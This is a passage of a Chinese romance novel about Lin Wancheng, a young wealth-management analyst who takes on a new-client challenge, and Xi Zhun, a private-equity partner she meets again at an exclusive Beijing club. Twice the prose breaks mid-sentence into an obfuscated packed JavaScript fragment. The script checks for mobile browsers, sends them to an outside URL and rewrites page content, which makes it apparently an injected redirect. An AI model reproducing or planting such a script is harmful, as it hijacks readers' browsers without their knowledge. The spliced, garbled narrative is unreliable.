林晚橙工作了两年，踏踏实实学习积累，又经历过一轮跌宕起伏的市场周期，不说已经摸透整个行业，至少资本市场里所有大类资产，上到股票债券，下到大宗商品和基金，几乎都能如数家珍。 她知道更有利的回答方向是什么，但是苦于没有时间研究——如果王惠平能早些告知她客户是谁，或许还有更多有价值的话题可以展开发挥。 而这位罪魁祸首浑然不觉，不知过没过脑子，就大喇喇接道：“哎！您这问题简直是问到点儿上了，我们是一个国际化的金融机构，不仅有财富管理服务，还有投行和研究部门，如果您以后投资的企业需要上市或者您需要任何研究观点的话，我们都能提供给您相应服务，满足您的需求……” 此言一出，林晚橙看到坐在首位的男人笑了。 只轻浅的一下抬眉，如风过湖面荡了荡涟漪，然而不给人反应的机会，顷刻又变得坚硬起来。 她是第一次看他笑，比春风融雪还惹人心旌摇曳，然而在座三个人除了王惠平，没人有心情欣赏。 完蛋了。 刘助和林晚橙在心里异曲同工地想。 对面的人情绪愈发趋于平淡，空气中弥漫着一种让林晚橙坐立难安的气氛。 秒针滴答滴答地动着，眼看着每一个瞬间都在扣分。Jane把摊子交给她补救是莫大的信任，林晚橙决心不能坐以待毙。 席准指间正把玩着钢笔，她在一个合适的停顿处抬眸，咬牙出声：“您好，我想再补充两点……” 姑娘声音偏温柔，细细如流水铮淙，却显出一种与气场不太相符的坚定。 刘助有些诧异，第一反应是看老板。 钢笔在男人手里轻巧转了一圈，这时他看向她：“说。” 王惠平对于她未经允许贸然发言显然格外不满，但在潜在客户面前又不好发作，暗中发了几把眼刀子。 虽说心里有些惶恐，林晚橙只当做没看到：“金昂是国内取得场外衍生品交易牌照的八大交易商之一，而在境内做挂钩海外资产的结构性衍生产品，市面上几乎只有我们和方信两家投行能做。” “据我的了解，您在腾越的持股既有A股也有港股,如果您对其他海外资产——例如美股感兴趣，不仅港股这边可以将股票抵押融资做相关产品，腾越A股同样也可以通过实体公司将股权交易过户给金昂，去做保护性融资结构释放流动性，再用得到的资金去做海外投资。” …… 刘助理跟着席准从金昂的办公楼里出来，司机已在路边等候。 两人上了车，刘助理坐进副驾，一边在手机上帮老板待会儿的航班值机，一边回顾刚才的会议：“抱歉老板，我刚问了金昂那边的秘书，说他们那个组的大老板正在外地出差，是我对这次会面理解有误，沟通也不妥，耽误您时间了。” 席准的手机上已经收到了Jane的微信消息，映在车窗上的侧脸略有些清冷：“没关系。” 两人早就在某个公开的峰会论坛加过好友，Jane很有预见性替手底下员工道歉，表明自己从上海回来以后一定亲自去博源资本登门拜访。 “但也不是全无收获，最后那个点，那个……”刘助理意识到会议上没提林晚橙的名字，“那个年轻姑娘提得还挺好？” 席准仍垂眸对着手机打字，刘助理想说什么，却在回头时眼尖地发现车门侧少了把老板平常惯用的雨伞。他有点奇怪，但是老板没接茬，也就自然地转了话题：“不过既然您不着急，之后咱们再听听方信的人怎么说吧。” - 对于这场会面，林晚橙亦无从得知太多结果。 会议最后她没能讲很久，时针已过半小时，刘助理掐好表直接起身，脸上仍是那种客气而公事公办的疏离笑容：“那就多谢二位今天的时间。” 林晚橙对于磁场有种很敏锐的天赋，闻言忍不住在心里叹口气，直觉今天多半是搞砸了。 回到工位以后开始复盘，想着想着有些沮丧——她的销售首秀，因为没找到方式妥善处理职场斗争而宣告败北。 王惠平已经到隔间接了十几分钟电话了，那头不知道说了什么，她脸色有点难看，像是调色盘一样青一阵白一阵的。 蒋晨又鬼兮兮凑过来：“是Jane总的电话吧？” “应该吧。” 林晚橙的有气无力摆在台面上，蒋晨和秘书那边关系好，对刚才发生的事情有所听闻，王惠平这遭小聪明是把Jane惹火了。 一边遗憾自己没能亲身参与这等精彩盛事，一边压低声音分享八卦：“都说惠平总有背景。” 八成也是有背景，她要是不专业成这样自己都得卷铺盖滚蛋。 “什么背景？” “不太清楚，好像家里是金昂行政部那边的关系。” 林晚橙在原位坐着，深呼吸了片晌，将心情平复下来。 她真的尽力了，黄金矿工非要耍心机不告诉她客户人名，最后搞成这个样子能怪谁。 脑海中掠过刚才会议上的情景，最后交身错过时的呼吸温度仿佛还落在她耳畔，林晚橙一怔，不由得又陷入一阵发呆。 席、准。 她将这个名字在双唇和齿间轻轻过了一遍，意外地很好听。比他的英文名还更好听。 席准出生于北京，高中随家人去了新加坡，然后又到美国。家里有科技公司，和芯片上游的供应链有关，本来可以顺理成章继承家业，但他毕业后选择归国，从事私募投资这个具有强大生命力的长青行业。 2016年，网络搜索可以迅速知道一个人的生平，却无法再更近距离地观瞻。 而这个位置让她伸手踮脚就能够像孩童一样触碰到更高更险峻的山峰，欣赏波澜壮阔的同时亦有种隐秘又自矜的雀跃感。 看得见又摸得着的真实最令人舒适。 办公室里冷气十足，不知道为什么，林晚橙觉得很痒，禁不住抬手摸了摸还残留着温意的耳朵。 - 林晚橙晚上回家之后给严妙春女士打了通电话。 她习惯每周都给爸爸妈妈打电话，这是知心夜话时间，严妙春早上听她说过给新客户做方案这件事，关心道：“已经见过面了吗？聊得怎么样？” “还可以吧。” 她抿了抿唇，习惯地隐去那些不那么愉快的细节，撒娇道：“全靠你女儿力挽狂澜。” 严妙春岔出声：“哈，毛丫头挺会吹牛。” “是真的嘛！”林晚橙不服气。 “行行行，恭喜我们囡囡首秀成功！” 林晚橙甜甜笑了声，思维跳转得很快：“最近你班上那个男孩子情绪好点了吗？” 严妙春一愣，点头道：“好多了。” 虽然放暑假，但是作为语文老师兼班主任，严妙春还是负责地到班上同学们家里做了一圈家访。 林晚橙说的这个男孩子，本来是年级第一，期末考不小心考砸，情绪一直郁郁寡欢，严妙春就很担心。这次家访以后，耐心和他聊了两个小时，这才将孩子心结打开一些。 回忆起满墙的奖状，和男孩子始终低落的神情，严妙春揣测可能是家长惯用挫折教育：“可不能这么对待孩子啊！” 林晚橙就不是挫折教育下的产物，她高度认可这个理念。 从很小的时候，她就意识到自己的家庭比旁人更加和谐，虽然那时家庭条件不算多好，但父母思想开明，关系也很融洽，几乎从没有吵过架，由此养成了她极好的脾气和性格。 Chloe这个名字就是严妙春取的，妈妈说，勤州这样的农桑之地，就要养出她这样富有生机的姑娘，像橙树抽芽时充满希望。和她的中文名一样有很美好的寓意。 她和母亲是难得可以互相插科打诨的关系。 小升初时林晚橙刚学习了一点新鲜的性知识，说是某些男性尿液里也可能含有少量精子，于是在高速公路混用公厕时格外惶恐，担心不小心被溅到屁股导致怀孕。 严妙春听后笑到不行，到现在还拿这件事取笑她。 至于林朗山同志，风格就更加一致。 在她小学的时候，爸爸仍在老家工作，开拓市场简直寸步难行，当时的公司也是个私人企业，比较一言堂，林朗山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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林晚橙没事儿干，周末就给自己报个班，舞蹈课和烘焙课，生活也过得有滋有味。 期间也和俞灿闲聊。 这位姐妹刚在港交所敲完钟，又去after party，在充实的间隙里还有空兴致盎然给她电话：“橙妹！你知道文和东方吧？” 怎么不知道，将近半百年历史的奢牌酒店，套房一晚将近5位数。 林晚橙好奇：“怎么了吗？” 俞灿有几分喝醉了，声音轻飘飘的露着笑：“我刚听说一个八卦，说香港这边的文和东方，最顶层有一张4x4.8米的大床，哈哈。” 那么大的床用来干什么呢？ 俞灿啧啧叹息一声，成功将林晚橙震得五体投地，半晌才找回自己声音：“好劲爆啊。” 那头音乐吵闹又燃动，林晚橙问：“你在哪儿呢？” “一个私人会所里。” “少喝点酒哦。”林晚橙不放心地叮嘱。 “知道了。” 挂了电话，林晚橙屈膝窝在沙发里看电脑。她喜欢这个姿势，将自己完全包裹起来，柔软又安心。 只是一个晃神，视线就这么游离着落向鞋柜上的黑色雨伞。 ——伞还没还回去呢。 那天晚上回来之后，她便小心地给这把金贵的伞包了一层透明的磨砂伞套，后来无论刮风下雨都没再用过。 听说Jane从上海回来后又找机会见过那个人，具体聊得怎么样谁也不知道，大家也都三缄其口。王惠平这么一通瞎搅和，很难想象究竟要费多大力气才能扭转对方心里的印象。 林晚橙在心里笑叹一声，但恍然又觉得这不是她最该头疼的事儿。 她现在只知道，没有联系方式，也没有任何契机，简直比初遇时还更加一筹莫展。 东西放久了仿佛变成了信物，好像她真的可以大胆到将其据为己有，这种悬在半空的未定感让林晚橙无端产生一些苦恼和焦灼。 心尖促然动了下，她低头看到俞灿的消息。 那头发了个北京高端会所的名字过来，昂扬着问她：【妹宝妹宝，知道这个吗？】 金宝街168号，这种入会费几十万的会员制会所，林晚橙从未去过。 但她曾经在网上刷到过评论，好像是有一种说法，说这里的糖油饼是整个北京城里最最地道的。 俞灿是真玩嗨了：【我刚认识了一姐们儿，说这周末要去玩，能带上咱们，来不来？】 谁会和吃的过不去呢？不说别的，就算是只为尝尝这糖油饼滋味，林晚橙也格外好奇。 橙子圆滚滚：【好呀，来来来！】 想了下又问：【不过你不是周日才从香港飞回来吗？】 大鱼吃小鱼：【有便宜不占王八蛋！】 大鱼吃小鱼：【我已经麻溜地改签好嘞！[呲牙]】 5. 挑战 周五上班的时候，Jane拉着个小行李箱风风火火从外面回来了。 Jane中文名叫裴知，是最早进入财富管理行业的那一批弄潮儿，又有国外留学背景，对这个行业已了如指掌，是个非常有手腕和魄力的老板，身上有林晚橙所崇拜的一切女性特质的缩影。 只是她实在太忙，总是在外面出差，平常很难在办公室见到。 隔着被阳光普照得清透炫目的玻璃面，林晚橙看到Jane摊开行李箱，在里间挑眉招手示意自己进去。 像收到暗号，林晚橙左右观察，在一众埋头工作的同事中不动声色地起身，溜了过去。 Jane关上门，在办公室的门后视觉盲区扒拉出一个小盒子递给她，是个可爱的小橙子挂件，上面还挂着个小牌子“祝你邂逅一切浪漫”，笑道：“出差看到的，觉得合适你，就买了下来。” 不是什么值钱的东西,几十来块。但老板能记得她,林晚橙格外开心：“谢谢您。” “客气什么。” Jane喜欢她，林晚橙能确信这点。 她是Jane亲自从暑期实习生堆里挑出来的,有种护着自家小牛犊的感情。其次，Jane欣赏她身上那种悟性。 就是努力求知、抓紧每个机会提升自己的灵气。 林晚橙并不是机械地完成工作，她总是会想得更多——比如为什么要这么做？某些产品背后运营的机制？不同的客户有怎样具体的区别？ 老板交给她的每项任务，她都会打起十二分精神对待。 MD一般只看投资的大方向并进行指导，不关心具体的账户细节，但是比较重点的客户，还是会偶尔了解一下情况。 这会儿不用裴知亲自开口问，林晚橙已经很上道地开始汇报这两周的工作，譬如底下哪几个账户又做了什么投资，最近某某基金很得客户青睐。 “邱总这几天重仓买了几个小票，都是传统纺织鞋服公司。” 邱启宏是很早就跟着Jane的老客户，四十岁快五十，早期自己创业，是沿海那一带做运动鞋起家的，账户里放了大几千万。 相比于其他客户青睐当甩手掌柜，他比较喜欢自己操盘，也不太喜欢做决定的时候被别人劝。 但毕竟没正儿八经学过金融，经常听酒肉朋友说些小道消息，买了股票又被套住，这两年账户里亏的钱少说也得近千万了，已经被Jane当成珍稀保护动物来对待，只要有新的不明智的投资决策，一定要林晚橙迅速上报。 林晚橙给Jane报了他新买的股票名字，都是几块钱的小盘股，这两年海外品牌抢占国内市场，价格战打得飞起，鞋服行业“库存危机”集体爆发，原来的粗放式批发模式不知受多少冲击。 Jane的理念是拥抱新型科技，皱皱眉：“你有没有问他炒那些烂票干嘛？” “业务多少都和家纺沾点边，估计里头有朋友的公司。他就是重情怀，觉得这块市场还很大。” 十几亿中国人，谁的鞋穿旧了都得换。林晚橙了解市场，更了解客户，没附和Jane那个“烂”字，“我看了看，这几个公司基本面也还行，就让邱总折腾折腾也没什么。” Jane嗯了声：“行，那麻烦你盯着点股价，一旦发现苗头不对就让他赶紧撤。” “好的。” 其实邱启宏性格很好，虽然岁数摆在那里，依旧颇具读书人的修养，跟销售交流时从不端架子。 体贴她们这些顾问费心帮他管账户投资，总是会诚恳地道谢，面对林晚橙这样还比较初级的员工更显出长辈的慈祥，爽朗唤她一声“小林”，像爸爸一样，因此跟他打电话心情总是很晴朗。 他是林晚橙少有的几个熟稔到互相加过微信好友的客户，偶尔会看到他在朋友圈发一些时政热点和新闻，她都会真心实意地点上一个赞。 林晚橙向来是知恩图报的人，谁对她好她也对谁好，不说别的，就为这声“小林”，她也得把邱总的账户管好。 王惠平今天不在办公室，跟Jane提到对方最近交给她的工作，林晚橙便轻描淡写地掠过：“主要是做了新潜在客户的配置方案，整理提炼了研究部几篇报告的观点，还有日常的宏观新闻总结。” 那天的事情已翻过一页，她不想再越权汇报，裴知是火眼金睛的老板，这些工作有没有锻炼和成长价值，心里自然会有判断，不用她多说。 但她的确有一件好奇的事，试探开口：“老板，那上次的会面……” “暂时没后续了。” “啊。”林晚橙默然一瞬。 “啊什么啊。”裴知笑了，做她们这行碰壁是很正常的事儿，如果没有这个觉悟，那也不用谈什么以后了。 她并不打算在这个话题上过多停留，神情若有所思：“Chloe，有个事儿我想问问你的意见。” “您说。” “你是我一手带出来的，在金昂工作了两年多，对账户和投资都很熟悉。我想问问你，会不会愿意接受更大的挑战？” 林晚橙攥紧了手里的橙子挂坠：“您是指……” “对，开户。” 正常情况下，分析师做满三年就能升职，同时也开始背业绩指标，要出去拉新的客户，Jane到底是商场上厮杀出来的人，难得讲话这样温声细语，“如果你觉得准备好了，我就去和上面打声招呼，让你开始锻炼。” 林晚橙脑子轻微嗡了一下。 金昂的标准是，升任Associate的头两年，每年至少要开两个户。一个户起点是一千万。 裴知这是想破格提拔她，激流勇进，不进则退，林晚橙看得清楚，摆在面前的根本不是一个选择，而是一份不得不签的投名状。 墙上挂钟滴滴答答地走，裴知了然地笑笑：“不着急，你慢慢考虑。” 机会来到面前，她没有任何理由退缩和犹豫。 心脏跳得很快，挂坠被掐紧的指尖硬硬地硌进掌心，林晚橙仅仅是沉默了须臾，就抬起眼睛，用尽量平稳的声线回答：“Jane总，我已经想好了。” 裴知端坐在皮椅上，微微扬眉。 林晚橙不躲不避地迎上去：“我愿意接受这份挑战。” 裴知静了会儿，淡淡笑了，脸上不知有没有露出细微的赞赏意味，“行，我知道了，谢谢。” “你出去吧，把Jason叫进来。” 她指的是蒋晨，林晚橙也不知道自己是怎么出去的，脸上依旧保持着乖觉的微笑，把门外探头探脑等了很久的蒋晨换了进来。 - 今天天气很好，东三环另一栋毗邻的写字楼大厦里也同样砌满了阳光。 助理端着咖啡推门进去的时候，高档会议室里正如火如荼地讨论着。墙上大屏连着线，远程接入了博源资本在上海出差的创始人张正诠，对于是否要投资趣金睿这个P2P网络小贷项目形成最终意见。 公司打造了一个互联网信贷中介平台，撮合投资人和借款人互相匹配，从中收取利率差。 合伙人章秉文是互联网金融绝对的推崇者：“这生意利率高，又轻资产，借助大数据等新技术来控制风险，目标客群更比传统银行借贷广许多，要知道还有4个多亿人口在央行没有征信记录，这些都是网络小贷的受众，这几年行业井喷式增长，未来发展肯定不会差。” 线上还有其他几位资深合伙人，张正诠沉吟片刻，询问席准：“Shawn，你怎么看？” 席准答得很直接：“脱离政策谈增长没有意义，监管覆盖不到的灰色地带章总怎么看？到底是高利率还是高利贷？对于未成年人又要怎么规范？行业乱象丛生，我不认为其中的风险可以通过技术进行‘控制’。” 博源资本管理金额数百亿美元，投委会里共六个人，只要有一位否决，这项目就过不了会。 他的意思一目了然，章秉文面色沉了沉，争取道：“Shawn，你也知道没有绝对的安全，机遇总是伴随着风险。” “我并非追求绝对安全，只是在陈述事实。”相较他的不快，席准情绪平稳得多，“暴利的行业往往夭折得快，章总以往也不是冒进的人，为什么非要盯着趣金睿不放？” 他话锋一转，略微挑眉，“还是说，这里头有什么利害关系？” 还真给他戳中了，趣金睿的CEO是章秉文远房亲戚，他自己本身看好这个项目，又想帮扶亲戚一把。 章秉文僵了须臾，脸色更差了一些，还想说什么，张正诠却也在这时直接拍板定下：“好了，我们先谈下一个项目吧。” 会议告一段落，已近傍晚。 下楼以后，另一位合伙人周容森问席准：“Shawn，我有位发小晚上有个局，做酒店文旅的，你要不要一起来？” 席准晚上确实没有安排，司机备好车送几人进了场子，马会的大理石地面光洁沉肃，高档又有格调，深红色的天鹅绒地毯在西式装潢的走廊里一路蜿蜒向前，踩上去非常柔软。 他们开了个地下包厢，宽敞的真皮手工沙发，名贵的琉璃吊灯，林林总总就十来个人，30年的陈年花雕摆满了一整桌，后面又陆续有新人进来。年轻的女孩们都很有眼色，各选各的主袅袅婷婷坐进空位，巧笑嫣然地倒酒敬茶。 周容森先点了烟，又递给席准一支，提起白天的会，啧道：“章总过这个月就五十四了，没多久就退休的人，你也不给他留点面子。” “没办法，总要有人收拾残局不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224046|197536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是。”弥漫的烟雾中，席准半真半假地耸肩，语气好似带着几分玩笑，“我资历最浅。该我的。” 周容森朗声大笑起来：“少来啊你。” Shawn是所有合伙人里最年轻有为的，海外留学归来，锐意进取，靠腾越这个项目一战成名。 代表博源投了三千万美元进去，又以个人名义跟投了60万美元，加起来股权占比共5%，到现在2000亿港币市值的大公司，生生翻了四十倍。他眼光精准毒辣，见解独到，更有胆魄，周容森长他十岁也自叹弗如。 相比起来，章秉文眼光就要逊色许多。他在博源创立初期就跟着张正诠，要不是靠着资历和跟老板的交情，投委会早容不下他。现在成了公司的挂名吉祥物，也没什么实权。 章秉文好几次判断有误，还是靠席准力挽狂澜，董事会的资源就肉眼可见地愈发倾斜。 两人明争暗斗这么多年也过来，周容森看得明白，老章无非是想在趣金睿这个项目上扳回一城，在最后退休之前再干一票大的。 周容森看眼手机，扬了扬眉：“今晚美股高开，你看中那只票又涨了不少啊。” 席准靠在椅背里看他们摇筛子：“再观察一下。” 两人旁边坐着个女孩，原本想冲着席准去，可看好几次试图搭话他都无动于衷，脸上有点没面子，就灵巧地钻到周容森怀里去了。 周容森大方地把姑娘揽住，她便娇滴滴给他喂了口酒，他笑着去勾对方的头发，女人表情像是要躲，动作却迎上去，嗔他：“讨厌。” 周容森兴致不错，转头看到席准只是抽烟：“都到这儿了还不玩啊？” “一定要玩么？”席准漫不经心笑笑，随意拿过摇筒加入战局。 有人说：“开。” 他不疾不徐打开，全是一个数，豹子。一轮就赢了。 周容森啧一声。 Shawn是挺神秘。打认识以来，好像也没见他公开过自己的感情状况，至多是些没凭没据的传言。他的界限总是很分明，好像工作是工作，生活是生活，半点都不能相互交缠。 就是这么个低调的人。 不过在周容森的想象里，像他们这样的男人嘛，私底下应该都差不多。 周容森搂好了怀里的人儿，不一会儿就喝得亮光满面。满室言笑晏晏，有人唱歌也有人在打德州，席准坐了片刻，把烟蒂直接揿灭在瓷碟里，站起身：“我出去一下。” “就走了？”周容森有些上头，挑眸晲过去，生出点莫名意味，“外头还约了人啊？” 周容森怀里的女孩也仰头看他，说话很嗲：“老板再多坐会儿嘛。” 这烟没抽几口，可惜不合口味，席准细致用丝巾擦过手，极淡地勾唇：“上楼透口气。” 他从包间出来，闲来无事随处溜达。一楼的空气果真比地下好很多，旁边就是混场，各色的灯红酒绿映出来，好不热闹。 这里连茶歇厅的设计都极有格调，在一个小转角，两头分别高出几阶，拾级而上，小转角墙上是中式花纹，悬着一座象牙白的采莲小童子雕塑，雕塑下的墙面镶嵌着一个青色半圆砂质托盘，上面盛着一捧薄荷糖。 席准分外随心所欲，刚才还厌倦了包厢里的浮华，这会儿又很感兴趣，打量起那个稚嫩的笑面小人儿。 然而好景不长，很快有人过来打扰他。 不知是从哪里过来的女人，露背晚礼裙，款式很端庄，唯有胸口缀着的那朵掐丝花儿显得轻佻：“先生，一个人呀？” 旁边还站着个抽烟的男人，席准懒懒地避了一下，女人却朝他贴过来，显然目标明确。 他表情有点淡漠，摆明了不好靠近，女人轻咬着红唇，试探调笑：“要不到那边坐会儿，让我陪您喝一杯么？” 席准还没答话，旁边不知哪儿有东西哗啦啦倒了一地。 是来自台阶上的动静，他侧眸晲过去一眼，看到个有点眼熟的人。 姑娘刚侥幸接住那个从墙边滑出来的小小石托盘，又去看落了一地的薄荷糖，还有几分慌张的模样，像是没想到这东西这么不禁碰。一碰全撒了。 视线不经意就对上，她在上，他在下，席准看到她垂落的眼睫毛禁不住轻微发颤，鼻尖一点干净的白，脸颊却隐隐染着绯色。 紧接着觑了眼旁边还尬站着的裸背女人，像是飞快做了番思想斗争，然后整个人干脆利落地往采莲童子像后面隐去了。 周围确实是避无可避。 林晚橙穿着条很清新的掐腰及膝裙，正好是嫩绿色，缩进去之前那个表情看得出来已经很努力在降低存在感了，好像在跟他说—— 其实其实，我只是一片朴实无华的荷叶子，您大可不必在意我呢。 6. 坏人 如果把时间倒回去一小时，林晚橙都绝不会料到后面还能有这样的事情发生。 她跟着俞灿过来，是真真正正第一次进入这种场所，在心里预想的雕栏画栋，富丽堂皇，到了现场却看见一个古朴别致、绿意盎然的四合院，门前是一座赛马金像雕塑，外面一小片疏影横斜的碧绿竹林。 才恍然发觉是自己见识肤浅了。 到了里面才是真正的别有洞天，大气典雅的中式布局。俞灿拉着她先去看了所谓的白酒展览馆还有艺术画廊，她一边好奇地观摩一边在心里默记，以便之后作为谈资。 除了高档饭馆和酒店套房，还有各色玩乐设施。 已经入夜，窗外月色高悬，皎洁又带着点妩媚，这时候自然是夜场里最热闹。俞灿对于茅台的兴趣不见得多浓厚，没看一会儿就附在林晚橙耳边说，那位姐姐邀她们过去小坐一会儿。 这个混场跟那种三里屯的酒吧差不多，只是更高档，更有格调，面积也令人咋舌的大，仿佛一眼望不到尽头。现场有乐队奏背景乐，池中是形形色色尽情摇摆的人，一溜的香槟和水烟供人采撷。 多的是俊男靓女，男人里亦有衣着矜贵，一看就身份不凡的，女人则衣香鬓影，透过层层烟雾眼波流转，个个都像娇艳盛放的花儿。 好一个声色旖旎。也很热闹。 林晚橙喜爱这种热闹，她适应力很强，在震荡的乐拍声中层层打开了自己。 俞灿新认识的姐姐是那家刚敲钟的上市公司千金，董事长的大女儿，叫杨歆言，偶尔呼朋唤友，来这种场合稍微放松一下。见了林晚橙爽朗大笑：“妹妹长得好可爱。” 林晚橙受宠若惊，被一圈人拱着碰了好几杯酒才后知后觉意识到自己中了圈套。 杨歆言惊喜地夸赞她：“妹妹酒量不赖嘛？” 一排shots密集下肚，林晚橙脸已经有些红了，连忙摆手：“没有没有。” 严妙春平时很少让她在外面喝酒，工作的性质又是坐班管账户，不太需要应酬，她觉得自己应当遗传了林朗山的扎实功力，但着实不知道自己究竟有几斤几两。 略微有些警醒起来，好在俞灿适时地插入，将战火引开，“歆言姐，我敬你。” 又低声推林晚橙：“留着点战斗力，旁边歇会儿。” “噢。” 林晚橙在稍远点的沙发软座上坐下，她知道这个东西主打持久战，要有不疾不徐的耐心，于是眼睛又好奇地探向别处。 头顶霓虹灯光变幻莫测，很好地替她打了掩护。舞池中跃动着放纵的人潮，林晚橙眨了下眼，疑心自己是否看错。 视线还盯着那头，直到俞灿凑过来，关心：“还好吧？” 林晚橙无暇回答这个问题，望向某处：“那个是不是Miki？” “嗯？” ——斜对角最远处那个卡座，分明有道靓影，身形和气质都很像梁卓怡。 女人浓妆艳抹，烫了头大卷发，紧身束腰的及膝黑裙，一双很贴肉的细腻丝袜，将小腿肚包裹得曲线顺滑。身上披着小半件貂，看上去竟像个极贵气的名媛。 只不过此时她正侧坐在男人的大腿上，亲昵地搂着对方的脖颈，弯着唇说话，唇有意无意要扫过脸颊，像是头顶悬挂着的时而摇曳的垂苏水晶灯。 男人上了点年纪，但气度优雅，极为耐心地倾听着，只是一只手轻抚在梁卓怡的后背，感觉随时蓄势待发。 那边不知道是谁开了一瓶罗曼尼康帝，登时哄闹一片。 俞灿喝得有点上头，辨别了片晌才压低声音爆出一句：“靠，就是上回那个卡宴大叔！” 这事儿很容易让人心里生出种谐谑感。 ——倒也真是很巧，至少她们终于知道成日失踪的室友每天晚上都往哪儿跑了。 俞灿的小恶魔角长了出来：“要不要去打个招呼？” 林晚橙到底是善良，笑着按住她：“别了吧，多尴尬。” 她还要说什么，忽然一阵腹痛，说不好是什么原因，便道：“我出去透口气。” 俞灿说：“注意安全。” 林晚橙知道的，她来这种地方还谨慎地在随身小包里准备了防狼喷雾和蜂鸣警报器。 本来的确是有点喝醉了，但方才撞见的那一幕太过直观，连带着让人也清醒了几分，只是肚子实在不舒服，喝了那么多冷酒，都快忘了生理期约莫就是这几天造访。 想去吃点热乎乎的糖油饼暖暖胃，于是林晚橙直奔茶歇厅。 ——说实话，她没想到会在旋转楼梯那儿碰到席准。 她头还有些晕着，猝不及防看到他站在那里，差点绊倒自己。搞撒一盘薄荷糖完全只是小意思。 男人身姿颀长，穿一件挺括的纯黑色衬衫，宽肩窄腰，神情有些倦懒。旁边的女人一片雪白后背大方展露出来，向他靠过去，林晚橙用脚趾都能想到下一秒即将发生的亲密情节。 然而旁边竟然还有个抽雪茄的男的，三个人诡异地三足鼎立，也不知到底是个什么情况。 林晚橙愣在原地，进也不是退也不是。 ——哇，好新潮啊？ 她被自己传神的念头击中了，连心心念念的糖油饼都整个抛到脑后，脑袋空白了两秒钟才反应过来。 下意识想往雕像后面躲，却发现空间实在有限。周围的灯光晕感很重，让男人深邃的面容都背了光，林晚橙心跳还砰砰作响，祈祷席准没看清她，转身就跑了。 跑的时候脑袋里极其应景地冒出之前搜对方大名时看到的花边新闻。 说他认识某上升势头的小花，还配了张两人一起吃饭的照片，就此成为过从甚密的证据。 这种捕风捉影的新闻，真实性向来不高。这毕竟是个娱乐大众的时代，在她们这里稍微有点钱的客户都被传过这种新闻，大多数是造谣。 但道听途说是一码事，直接撞到人枪口上又是另一码事。 见到席准的第一面，她就料想过他身边应该不缺女人，没想到能直接碰上。 他该不会把她给灭口了吧？ 林晚橙脑子里冒出这么个念头，蓦然有些气短。 她胸口本来就有几分憋，这会儿更是发哽，闷头冲进人潮里，但一时又拿不定主意要做什么。席准身上像有条看不见的丝线，狠狠牵住了她。 Jane是很谨慎的人，她说暂时没后续了，那估计这事儿是真的黄了，至少短期内明确不会有任何进展。 ——可是万一，她是说万一，新开户需要的一千万kpi，她能直接从席准那儿要呢？ 这想法一出，林晚橙自己都吓了一跳。 太疯狂了，她在心里这样说。 身边没有谁能给她这么多钱，林朗山同志这么多年的小金库也就小百来万，在北京买了个不大的房子，现在还没还完房贷。这个挑战比预期中来得还要快，跟Jane立完军令状那晚她都发愁地没睡好，被那个巨大的数字压得直接失了眠。 林晚橙想，要是席准能答应开户，那既完成了业绩指标，又替老板分了忧，这事儿得多妙啊。 他是离她最近最看得见的机会，如果能伸手抓住，绝对什么烦恼都没了。 很快又转念一想，Jane都暂且搞不定的人，难道她就有把握能搞定？ 感觉像痴人说梦。 但怎么就不能做梦了呢？只要他乐意，这是分分钟的事。 林晚橙一颗心上上下下的，沉下去又浮起，一瞬间思绪百转千回。她在场中踌躇着晃荡，想循着记忆去找俞沁，但双脚好像有一些不听使唤，藕断丝连地黏在原地。 灯红酒绿之间其实一切都很安静，林晚橙在原地微定，不自觉动了动睫，就那么直接转了身，连带着发丝也在身后高高地扬起，晃动出几曲涟漪。 不知是不是她运气好，只是沿着来时的路返回，竟然很快看到自己想找的人。 席准刚点了支新烟，漫不经心夹在指间，一个人靠在空荡荡的卡座里，身边没人——那姑娘不知所踪。 就那么件简单纯色的黑衬衫，他穿起来也极为好看。 林晚橙胸口处没来由又快了点，心想，她到底在虚些什么？ 总不能因为打翻几颗糖就被记上，像鼓舞自己，旋即又默默站直身体。 ——她知道在他们这种人身边处事的准则是什么。 无论发生什么事，勿听，勿看，勿声张。 装傻是最好的策略，正好她也比较擅长。 林晚橙暗暗呼吸了一个来回，确定自己表情无瑕之后，迈动双腿慢慢向他走过去。 她原计划是准备一套惊喜偶遇的开场白，腹稿都前瞻地打好了，结果还没能开口，被他冷不丁抬眸盯了个正着。 林晚橙的脚步措手不及地钉在原地。 光影将男人棱角分明的侧脸轮廓勾勒得淋漓尽致，席准靠在墨绿沙发软座里，领口扣子解开两颗，任由烟雾在眉间捉摸不定地游弋。整个人松弛得过了份。 搜到花边新闻的时候林晚橙没觉得有多真切，这一刻却像是窥见了什么秘密，心里无端慌了一下。 和她自己内心的惊涛拍浪不同，席 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席准淡淡念了一遍：“Chloe。” 林晚橙低头看着他，一刹那有种奇怪的感觉，好像自己是一朵橙花，在他嗓音里绽开了。 她借着把碎发挽至耳后的动作，掩盖因酒精而轻微发热的脸颊。不知道他是否还有别的约，只能先小心试探着问：“您现在方便聊天吗？” 男人眼底情绪薄得不太分明，但他依旧将交叠的双腿放平，稍稍直起身。 您方不方便聊天？很少会有人在这种场合问席准这样的问题，偏偏她就这样问出来了，他把烟随意搁回旁边台面的瓷碟上，没有回答这个问题，只是宽容地勾起唇：“你想聊什么呢？” 林晚橙心里没来由跳了一下，心想，他好像没她想象得那么凶，还挺平易近人的。 之前开会时席准身上那种让她有些发怵的威压感，因为笑了一下，此刻全数消散殆尽。林晚橙朦胧地形成了一个直观认知——原来Shawn是个挺温和的人。 她当这是默许，在距他一米远处坐下，近距离看才看到他衬衫方巾袋上面手工绣制的暗色logo，很低调，价格却不菲，够她一两个月的薪水。 就这么一路顺着观察过去，她在心里下意识记牌子，悄悄检验自己的学习成果。从腕表到皮鞋，基本上能满心踏实地依次辨别出名字。 只有裤子不认识……好吧，下次再接再厉。 